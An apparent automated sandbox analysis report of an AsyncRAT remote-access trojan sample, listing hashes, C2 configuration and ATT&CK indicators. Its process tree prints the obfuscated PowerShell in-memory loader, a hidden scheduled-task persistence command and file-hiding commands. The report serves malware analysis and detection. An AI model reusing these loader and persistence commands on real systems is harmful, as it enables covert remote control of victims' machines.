asyncrat | 478ca90bdf1d94b880dd18c1fd1a5b6124d4e1c4b77c546df88a0aa992aeb225

Analysis

max time kernel
75s
max time network
79s
platform
windows11-21h2_x64
resource
win11-20240709-en
resource tags

arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system
submitted
19-07-2024 04:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

startup_str.bat
Size

382KB
MD5

8b1f260a182f74419011f14a8ba21a37
SHA1

48d8da3f5971ebd6b358b6b63491b5e68f099a6c
SHA256

478ca90bdf1d94b880dd18c1fd1a5b6124d4e1c4b77c546df88a0aa992aeb225
SHA512

509a8b51cb3922f9be6c94029abbc4611b1ce438262abc9fef414780e97d7542d214ae42866ccaf540b52e6cfef017abfc00c891643b3b81753c9f4115ad64aa
SSDEEP

6144:UJ+xnM15AXYHvdijZhhzPrJaBuLEQ/npzItPvshlqfyef:f8udDJ5hmPvqlRy

Score

10^/10

asyncrat unam defense_evasion execution rat

Malware Config

Extracted

Family

asyncrat

Version

AsyncRAT

Botnet

unam

windowsignn.theworkpc.com:6606

Mutex

AsyncMutex_5552

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/memory/2844-76-0x0000022FA4390000-0x0000022FA43A6000-memory.dmp	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3568	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4536	startup_str.bat.exe
2844	startup_str.bat.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
808	cmd.exe
3604	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3866437728-1832012455-4133739663-1000_Classes\Local Settings	startup_str.bat.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
4536	startup_str.bat.exe
4536	startup_str.bat.exe
1660	powershell.exe
1660	powershell.exe
1660	powershell.exe
1660	powershell.exe
3568	powershell.exe
3568	powershell.exe
2844	startup_str.bat.exe
2844	startup_str.bat.exe
4056	powershell.exe
4056	powershell.exe
4056	powershell.exe
4056	powershell.exe
2844	startup_str.bat.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4536	startup_str.bat.exe
Token: SeDebugPrivilege	1660	powershell.exe
Token: SeDebugPrivilege	3568	powershell.exe
Token: SeIncreaseQuotaPrivilege	3568	powershell.exe
Token: SeSecurityPrivilege	3568	powershell.exe
Token: SeTakeOwnershipPrivilege	3568	powershell.exe
Token: SeLoadDriverPrivilege	3568	powershell.exe
Token: SeSystemProfilePrivilege	3568	powershell.exe
Token: SeSystemtimePrivilege	3568	powershell.exe
Token: SeProfSingleProcessPrivilege	3568	powershell.exe
Token: SeIncBasePriorityPrivilege	3568	powershell.exe
Token: SeCreatePagefilePrivilege	3568	powershell.exe
Token: SeBackupPrivilege	3568	powershell.exe
Token: SeRestorePrivilege	3568	powershell.exe
Token: SeShutdownPrivilege	3568	powershell.exe
Token: SeDebugPrivilege	3568	powershell.exe
Token: SeSystemEnvironmentPrivilege	3568	powershell.exe
Token: SeRemoteShutdownPrivilege	3568	powershell.exe
Token: SeUndockPrivilege	3568	powershell.exe
Token: SeManageVolumePrivilege	3568	powershell.exe
Token: 33	3568	powershell.exe
Token: 34	3568	powershell.exe
Token: 35	3568	powershell.exe
Token: 36	3568	powershell.exe
Token: SeIncreaseQuotaPrivilege	3568	powershell.exe
Token: SeSecurityPrivilege	3568	powershell.exe
Token: SeTakeOwnershipPrivilege	3568	powershell.exe
Token: SeLoadDriverPrivilege	3568	powershell.exe
Token: SeSystemProfilePrivilege	3568	powershell.exe
Token: SeSystemtimePrivilege	3568	powershell.exe
Token: SeProfSingleProcessPrivilege	3568	powershell.exe
Token: SeIncBasePriorityPrivilege	3568	powershell.exe
Token: SeCreatePagefilePrivilege	3568	powershell.exe
Token: SeBackupPrivilege	3568	powershell.exe
Token: SeRestorePrivilege	3568	powershell.exe
Token: SeShutdownPrivilege	3568	powershell.exe
Token: SeDebugPrivilege	3568	powershell.exe
Token: SeSystemEnvironmentPrivilege	3568	powershell.exe
Token: SeRemoteShutdownPrivilege	3568	powershell.exe
Token: SeUndockPrivilege	3568	powershell.exe
Token: SeManageVolumePrivilege	3568	powershell.exe
Token: 33	3568	powershell.exe
Token: 34	3568	powershell.exe
Token: 35	3568	powershell.exe
Token: 36	3568	powershell.exe
Token: SeIncreaseQuotaPrivilege	3568	powershell.exe
Token: SeSecurityPrivilege	3568	powershell.exe
Token: SeTakeOwnershipPrivilege	3568	powershell.exe
Token: SeLoadDriverPrivilege	3568	powershell.exe
Token: SeSystemProfilePrivilege	3568	powershell.exe
Token: SeSystemtimePrivilege	3568	powershell.exe
Token: SeProfSingleProcessPrivilege	3568	powershell.exe
Token: SeIncBasePriorityPrivilege	3568	powershell.exe
Token: SeCreatePagefilePrivilege	3568	powershell.exe
Token: SeBackupPrivilege	3568	powershell.exe
Token: SeRestorePrivilege	3568	powershell.exe
Token: SeShutdownPrivilege	3568	powershell.exe
Token: SeDebugPrivilege	3568	powershell.exe
Token: SeSystemEnvironmentPrivilege	3568	powershell.exe
Token: SeRemoteShutdownPrivilege	3568	powershell.exe
Token: SeUndockPrivilege	3568	powershell.exe
Token: SeManageVolumePrivilege	3568	powershell.exe
Token: 33	3568	powershell.exe
Token: 34	3568	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2844	startup_str.bat.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 1492 wrote to memory of 4536	1492	cmd.exe	79
PID 1492 wrote to memory of 4536	1492	cmd.exe	79
PID 4536 wrote to memory of 1660	4536	startup_str.bat.exe	80
PID 4536 wrote to memory of 1660	4536	startup_str.bat.exe	80
PID 4536 wrote to memory of 808	4536	startup_str.bat.exe	82
PID 4536 wrote to memory of 808	4536	startup_str.bat.exe	82
PID 808 wrote to memory of 4184	808	cmd.exe	84
PID 808 wrote to memory of 4184	808	cmd.exe	84
PID 4536 wrote to memory of 3568	4536	startup_str.bat.exe	85
PID 4536 wrote to memory of 3568	4536	startup_str.bat.exe	85
PID 4536 wrote to memory of 2120	4536	startup_str.bat.exe	88
PID 4536 wrote to memory of 2120	4536	startup_str.bat.exe	88
PID 2120 wrote to memory of 676	2120	WScript.exe	89
PID 2120 wrote to memory of 676	2120	WScript.exe	89
PID 676 wrote to memory of 2844	676	cmd.exe	91
PID 676 wrote to memory of 2844	676	cmd.exe	91
PID 2844 wrote to memory of 4056	2844	startup_str.bat.exe	92
PID 2844 wrote to memory of 4056	2844	startup_str.bat.exe	92
PID 2844 wrote to memory of 3604	2844	startup_str.bat.exe	94
PID 2844 wrote to memory of 3604	2844	startup_str.bat.exe	94
PID 3604 wrote to memory of 2368	3604	cmd.exe	96
PID 3604 wrote to memory of 2368	3604	cmd.exe	96

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4184	attrib.exe
2368	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\startup_str.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1492
- C:\Users\Admin\AppData\Local\Temp\startup_str.bat.exe
  "C:\Users\Admin\AppData\Local\Temp\startup_str.bat.exe" -noprofile -w hidden -ep bypass -command $gingerbread_ZGT90N5CQZ = [System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\startup_str.bat').Split([Environment]::NewLine); foreach ($gingerbread_1KH5QPC857 in $gingerbread_ZGT90N5CQZ) { $gingerbread_IR2OYLS2I9 = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $gingerbread_IR2OYLS2I9 = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_IR2OYLS2I9, '_', 'gingerbread_2REG6QYLBJP6'); if ($gingerbread_1KH5QPC857 -match $gingerbread_IR2OYLS2I9) { $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_1KH5QPC857, 'gingerbread_2REG6QYLBJP6', ''); $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_5Q959MQ6PK, '#', '/');break; }; }; if ($gingerbread_5Q959MQ6PK.Contains('CHOQNLJXHRYDBXUDFLOEFXTOXDPILO')) { $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_5Q959MQ6PK, 'CHOQNLJXHRYDBXUDFLOEFXTOXDPILO', ''); } else { exit }; $gingerbread_C3UENP8XTK = [string[]]$gingerbread_5Q959MQ6PK.Split('!'); $gingerbread_43B9R06ZVX = [System.Convert]::FromBase64String($gingerbread_C3UENP8XTK[0]); $gingerbread_L6GT4COAOJ = [System.Reflection.Assembly]::Load($gingerbread_43B9R06ZVX); $gingerbread_75K25BI6VC = $gingerbread_L6GT4COAOJ.EntryPoint; $gingerbread_75K25BI6VC.Invoke($null, $null); $gingerbread_ONPA8XRGXD = [System.Convert]::FromBase64String($gingerbread_C3UENP8XTK[1]); $gingerbread_P0L16O4G72 = [System.Reflection.Assembly]::Load($gingerbread_ONPA8XRGXD); $gingerbread_1JGKLRH6G6 = $gingerbread_P0L16O4G72.EntryPoint; $gingerbread_1JGKLRH6G6.Invoke($null, $null)
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(4536);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1660
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C ATTRIB +H "C:\Users\Admin\AppData\Local\Temp\startup_str.bat.exe" & exit
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:808
  - - C:\Windows\system32\attrib.exe
      ATTRIB +H "C:\Users\Admin\AppData\Local\Temp\startup_str.bat.exe"
      4⤵
      Views/modifies file attributes
      PID:4184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3568
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2120
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:676
    - - C:\Users\Admin\AppData\Roaming\startup_str.bat.exe
        
        "C:\Users\Admin\AppData\Roaming\startup_str.bat.exe" -noprofile -w hidden -ep bypass -command $gingerbread_ZGT90N5CQZ = [System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\startup_str.bat').Split([Environment]::NewLine); foreach ($gingerbread_1KH5QPC857 in $gingerbread_ZGT90N5CQZ) { $gingerbread_IR2OYLS2I9 = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $gingerbread_IR2OYLS2I9 = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_IR2OYLS2I9, '_', 'gingerbread_2REG6QYLBJP6'); if ($gingerbread_1KH5QPC857 -match $gingerbread_IR2OYLS2I9) { $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_1KH5QPC857, 'gingerbread_2REG6QYLBJP6', ''); $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_5Q959MQ6PK, '#', '/');break; }; }; if ($gingerbread_5Q959MQ6PK.Contains('CHOQNLJXHRYDBXUDFLOEFXTOXDPILO')) { $gingerbread_5Q959MQ6PK = [System.Text.RegularExpressions.Regex]::Replace($gingerbread_5Q959MQ6PK, 'CHOQNLJXHRYDBXUDFLOEFXTOXDPILO', ''); } else { exit }; $gingerbread_C3UENP8XTK = [string[]]$gingerbread_5Q959MQ6PK.Split('!'); $gingerbread_43B9R06ZVX = [System.Convert]::FromBase64String($gingerbread_C3UENP8XTK[0]); $gingerbread_L6GT4COAOJ = [System.Reflection.Assembly]::Load($gingerbread_43B9R06ZVX); $gingerbread_75K25BI6VC = $gingerbread_L6GT4COAOJ.EntryPoint; $gingerbread_75K25BI6VC.Invoke($null, $null); $gingerbread_ONPA8XRGXD = [System.Convert]::FromBase64String($gingerbread_C3UENP8XTK[1]); $gingerbread_P0L16O4G72 = [System.Reflection.Assembly]::Load($gingerbread_ONPA8XRGXD); $gingerbread_1JGKLRH6G6 = $gingerbread_P0L16O4G72.EntryPoint; $gingerbread_1JGKLRH6G6.Invoke($null, $null)
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2844
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(2844);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4056
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C ATTRIB +H "C:\Users\Admin\AppData\Roaming\startup_str.bat.exe" & exit
        6⤵
        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:3604
        
        C:\Windows\system32\attrib.exe
        
        ATTRIB +H "C:\Users\Admin\AppData\Roaming\startup_str.bat.exe"
        7⤵
        Views/modifies file attributes
        
        PID:2368

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\startup_str.bat.exe.log

Filesize
2KB

MD5
65a4c109b9c69901f3df24e6a9bced9b

SHA1
454905988a6f69d6210e8270bf192f2aaf13fb7c

SHA256
dc350d4a7170121d6e00f400602f6b68fb44da79d84e24ed51e540bd27c91768

SHA512
ac0380477330b06dffa73145ec3e683003b9fbc92041d40eca3fa495d215f0732f081e416a89d32f497a1f5aaad67815791d7f3c63ea49eccac3d0aff9f58a9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7b3145563f04420661ff0a637a8aacb6

SHA1
2ddd85d048f7a842eb256881f63b7f70f443ec80

SHA256
5e0dbba9fa52c7365a890e577c9f91ddae8cf2136f298182990579caf3750d4a

SHA512
f009ce5337442acc7eee106a355e62902f6eaf47e4d56df7b40123f5008e81a2dc766005a411f95d7cf94e003e827b0733db241c473b0f6c7c8e35a29ca99306

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_amyluffu.xor.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\startup_str.bat.exe

Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str.bat

Filesize
382KB

MD5
8b1f260a182f74419011f14a8ba21a37

SHA1
48d8da3f5971ebd6b358b6b63491b5e68f099a6c

SHA256
478ca90bdf1d94b880dd18c1fd1a5b6124d4e1c4b77c546df88a0aa992aeb225

SHA512
509a8b51cb3922f9be6c94029abbc4611b1ce438262abc9fef414780e97d7542d214ae42866ccaf540b52e6cfef017abfc00c891643b3b81753c9f4115ad64aa

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str.vbs

Filesize
111B

MD5
371257951e09cb56fafbbda4847cbcb7

SHA1
6d9dab286de574a099f6fe955720a1d87484cea3

SHA256
bb77d873388b64bacd10df67a60d012ed4acc5b03b7fa1070584b7133fa371b3

SHA512
1dffef10d8f25f6df8db17d09b278701211a40497d3aa8749676aeca3426cdc63232135984e74c8abf73442d917df7288b15d93229d8090684f3acba224f9bc1

Download Submit
memory/1660-28-0x00007FFCCD810000-0x00007FFCCE2D2000-memory.dmp

Filesize
10.8MB

Download
memory/1660-79-0x00007FFCCD810000-0x00007FFCCE2D2000-memory.dmp

Filesize
10.8MB

Download
memory/1660-29-0x00007FFCCD810000-0x00007FFCCE2D2000-memory.dmp

Filesize
10.8MB

Download
memory/1660-31-0x00007FFCCD810000-0x00007FFCCE2D2000-memory.dmp

Filesize
10.8MB

Download
memory/2844-75-0x0000022FA4380000-0x0000022FA438C000-memory.dmp

Filesize
48KB

Download
memory/2844-76-0x0000022FA4390000-0x0000022FA43A6000-memory.dmp

Filesize
88KB

Download
memory/4536-15-0x00007FFCCD810000-0x00007FFCCE2D2000-memory.dmp

Filesize
10.8MB

Download
memory/4536-17-0x000001E346D30000-0x000001E346D7A000-memory.dmp

Filesize
296KB

Download
memory/4536-14-0x00007FFCCD810000-0x00007FFCCE2D2000-memory.dmp

Filesize
10.8MB

Download
memory/4536-13-0x000001E346BF0000-0x000001E346C12000-memory.dmp

Filesize
136KB

Download
memory/4536-4-0x00007FFCCD813000-0x00007FFCCD815000-memory.dmp

Filesize
8KB

Download
memory/4536-16-0x000001E346BD0000-0x000001E346BDA000-memory.dmp

Filesize
40KB

Download
memory/4536-18-0x00007FFCCD810000-0x00007FFCCE2D2000-memory.dmp

Filesize
10.8MB

Download
memory/4536-77-0x00007FFCCD810000-0x00007FFCCE2D2000-memory.dmp

Filesize
10.8MB

Download
memory/4536-24-0x00007FFCCD810000-0x00007FFCCE2D2000-memory.dmp

Filesize
10.8MB

Download